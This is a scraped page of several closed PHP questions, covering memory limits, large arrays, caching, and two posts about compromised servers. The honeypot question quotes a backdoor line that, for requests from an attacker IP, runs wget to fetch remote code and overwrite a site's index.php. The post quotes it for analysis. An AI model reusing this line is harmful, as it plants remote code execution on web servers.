Endless output with var_dump and script execution time [closed] - php

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
Why doesn't PHP script execution time limit output time of an endless var_dump? This will crash Firefox on my system (DragonFlyBSD) because it eats up gigabytes of memory. On Ubuntu it crashes Apache.
Edit: I did a var_dump of an object with cycle references, without xdebug. This was on a framework I don't know so well.
Edit 2: Use this option to limit Apache output: http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestbody

var_dumping an large object will take centuries until PHP print in the screen.
Thus, the commitment between the objects is part of a return of the management process in the long run expected script you are taking it.

Related

moodle php memory limit [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 4 days ago.
Improve this question
I've facing some problems with quizes in moodle, i run a server on a 4GB ram and whenever users start doing quizes(around 50-60 users at the same time) its becomes very slow, i changed the quiz auto save parameter from 1 minute to 30 minutes and it helped a little, but still very slow, i've searching for some other method and find about php memory limit, when i looked on my moodle it says that my php memory limit is 512mb, i want to know how much i can reduce the php memory limit without prejudicing the other processess running on the server and if there is another way to improve the overall performance of moodle.

Php loop through large array data [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 23 days ago.
Improve this question
I have a users array having more then 16k records. So I need to process users array to send push notification but every time it sucks server execution time.
Please help me how to process array data something like delayed jobs so server will not sucks.
I tried to use array chunk but it still not work is there any way to use something like delayed job.
Try to use the sleep function sleep()
After, let's say 500 values, sleep(1).

Deobfuscate this PHP shell attack [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
One of my honeypot systems has a pretty interesting PHP shell on it, i've been trying to decode it, but I'm not having any luck getting the contense of the gzinflated b64 encoded part of the script.
Maybe someone with a little more experience with deobfuscating could take a look at it?
Here's the original pastebin they used to download to my honeypot:
http://pastebin.com/1w59Ew9S
<?php if($_SERVER["REMOTE_ADDR"] =='ATTACKER_IP') {#system('wget http://pastebin.com/raw.php?i=1w59Ew9S -O /www/index.php;ls -la /www/index.php');exit; }?>
I attempted to deobfucsate it myself by printing variables in different places, but i can't for the life of me get the contents to print out.
Here's my attempt at making it a little bit more human readable:
http://pastebin.com/BRbyVzyZ

Weird exploit messing with email [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
Found a weird hack today someone was exploiting,
was wondering how this arbitary code could execute thousands of emails an hour.
http://pastebin.com/m7nBSmfB
There's nothing weird about the code you posted -- it builds up a PHP function in an obfuscated fashion -- then it calls the generated code.
The real problem/issue is, how is your server being made to run this code? If you have indeed been exploited by this, it's because you're allowing them to run arbitrary PHP code on your server.
You need to figure out how that happened.

Php get variable params at each modification not from script [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
How does it possible to get variable modificated values, after script ended? im going to make a small and very simple caching system, for start to cache just needs to put "cache" commented where need to start cache and same when ends, only problem is to emulate all script and, as i said, get each changed instance of var.
Usually there is more simpler, just integrate the caching in your script, the process would be
verify there is some cache and it's not expired
if there is some not expired cache use it, end
render the page and capture it using ob_* functions
build the cache
This way you don't have to emulate anything, just to wait that some people visit the page, plus you don't built cache for page that are never visited.

Categories